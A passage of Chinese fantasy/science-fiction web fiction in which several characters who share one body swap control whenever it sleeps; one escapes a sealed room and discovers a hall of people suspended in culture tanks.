唬子她很少躺着睡觉,这次醒来她惊奇地发现自己竟然仰卧在地上,身上的骨骼肌肉也不似犬型那般轻盈有力。 她笨拙地翻身,发现前肢与后肢在地上爬行时十分不协调,反而要逼着她立起前半段身躯。 她观察了半天,最终发现,自己竟然变成了一个人。 这细胳膊细腿,浑身沉甸甸的,走起路来倒是稳当,就是腰疼腿疼。她尝试吼两声,发现这具身体的声带与舌头都十分僵硬,只能听到些许的气声。 唬子寻了一圈,发现似乎有人在把这墙壁往外锤出一个窟窿。 唬子又看到墙壁上一个歪歪斜斜的“江”字。她自然是不认得这字,可隐约觉得先前必然是有人来过,紧接着又企图破出这个屋子。 她是有智慧的生物,她会自己进行判断。唬子嘶吼一声,朝着那块被分割出来的矩形扑去。 这具身体又瘦又小,撞在墙上推不动任何东西。 唬子很伤心,唬子很难过。她选择扑在地上,扯着嗓子嘤嘤两声,慢慢闭上眼休息。 孟书孔再度睁眼,能力很明晰地捕捉到空气中的一丝伤心的气氛。她看到了唬子的片段记忆。 她没料到自己的能力会在这种情况下触发。 抬头看到墙壁上的“江”字,又看到很明显是用剑气切割的墙壁,孟书孔的内心有了自己的判断。 她们四个,从刚才到现在似乎是在共享同一个躯体,切换的条件是睡眠。 一旦想明白这个新世界的运作逻辑,孟书孔举着铁棒的手又有力几分。她虽然不及江临歌和归霞能打,不过将已经切割好的墙壁块推出去,她费点脑子和力气还是做得到的。 最后一下是孟书孔抬起脚踢开墙壁的分割块。她慢悠悠走出去,发现了一番新的天地。 漆黑不见屋顶的建筑下,放满了一排排泡在绿色培养液中的人。她们多半是闭着双眼,身上插着五六根细管,就像在羊水中的婴儿。 孟书孔倒吸一口凉气,心想自己又误入什么科幻大片的名场面。培养液里的人并不是光裸着,而是穿着各式各样的衣服,年龄从年幼到年老应有尽有。他们不像是一出生就在这边的世界,而像是在原本有秩序的社会工作生活,紧接着被强行纳入这边的世界。 她来到最近的一太培养仓前,透过玻璃看到一名相貌十分年轻的女孩。 接着她通过玻璃反映,看到自己的脸。 那张脸孟书孔这辈子都忘不了。